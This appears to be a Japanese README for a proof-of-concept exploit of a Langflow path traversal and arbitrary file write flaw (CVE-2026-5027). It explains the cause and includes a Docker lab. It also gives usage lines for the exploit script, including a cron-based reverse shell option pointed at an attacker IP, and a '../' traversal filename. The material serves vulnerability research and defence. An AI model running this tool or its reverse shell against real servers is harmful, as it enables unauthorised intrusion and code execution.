
CVE-2026-5027の概念実証エクスプロイト。Langflowの /api/v2/files エンドポイントにおけるパストラバーサルおよび任意ファイル書き込みで、Dockerラボとリバースシェルオプションを備えています。
本記事は EQSTLab によって公開された研究記事です。
本脆弱性を報告・分析してくださった Yahia Hamza 氏に感謝します。
★ CVE-2026-5027 Langflow パストラバーサル / 任意ファイル書き込み PoC ★

CVE-2026-5027 : Langflow 任意ファイル書き込み脆弱性
説明: Langflow <= 1.8.4 におけるパストラバーサル脆弱性により、攻撃者は /api/v2/files エンドポイントに送信する細工されたマルチパートの filename を介して、意図されたアップロードディレクトリ外に任意のファイルを書き込むことができます。自動ログインが有効になっている、あるいは認証が脆弱にしか適用されていないデプロイメントでは、この問題を悪用して攻撃者が制御するコンテンツを機密性の高いファイルシステム上の場所に書き込むことで、リモートコード実行を達成できる可能性があります。
Docker を使用して脆弱な環境をビルドおよび実行します:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
脆弱なエンドポイント
POST /api/v2/files
この問題は、アップロード機能がクライアントから提供されたマルチパートの filename 値を信頼しているために存在します。安全なサーバー側の保存名を生成したり、解決されたパスを専用のアップロードディレクトリに制限したりする代わりに、脆弱なコードパスは ../ のようなトラバーサルシーケンスが最終的な保存先パスに影響を与えることを許可しています。
その結果、攻撃者は意図されたストレージルートから脱出し、アプリケーションにサーバーファイルシステム上の任意の場所へファイルを書き込ませることができます。
代表的な悪用フローは以下のとおりです:
/api/v2/files にマルチパートのアップロードリクエストを送信します。filename を指定します。これは本質的に CWE-22: パス名の制限されたディレクトリへの不適切な制限 の問題です。
このセキュリティ上の欠陥は、アップロード処理中におけるユーザー制御のファイルパスの不十分なサニタイズと検証によって引き起こされています。アプリケーションはクライアントの元のファイル名を受け入れ、パスの正規化と封じ込めを適切に実施することなくストレージワークフローに渡しています。
防御の観点から見ると、危険なパターンは概念的には以下と同様です:
save_path = base_dir / file.filename
もし file.filename が以下のようなパストラバーサル要素を含んでいる場合:
../../../../tmp/poc.txt
最終的に解決されるパスは base_dir の外を指す可能性があり、任意ファイル書き込みが可能になります。
任意ファイル書き込み脆弱性は、標準的な無制限アップロード問題よりも深刻であることが多いです。なぜなら、攻撃者はファイルの内容だけでなく、保存先のパスも制御できるからです。Langflow プロセスの実行権限に応じて、以下が可能になる可能性があります:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
このリポジトリは、Langflow インスタンスの不正な悪用を助長することを意図したものではありません。このプロジェクトの目的は、セキュリティ研究者、防御担当者、開発者が脆弱性を理解し、制御された環境で露出を検証し、効果的な緩和策を適用できるように支援することです。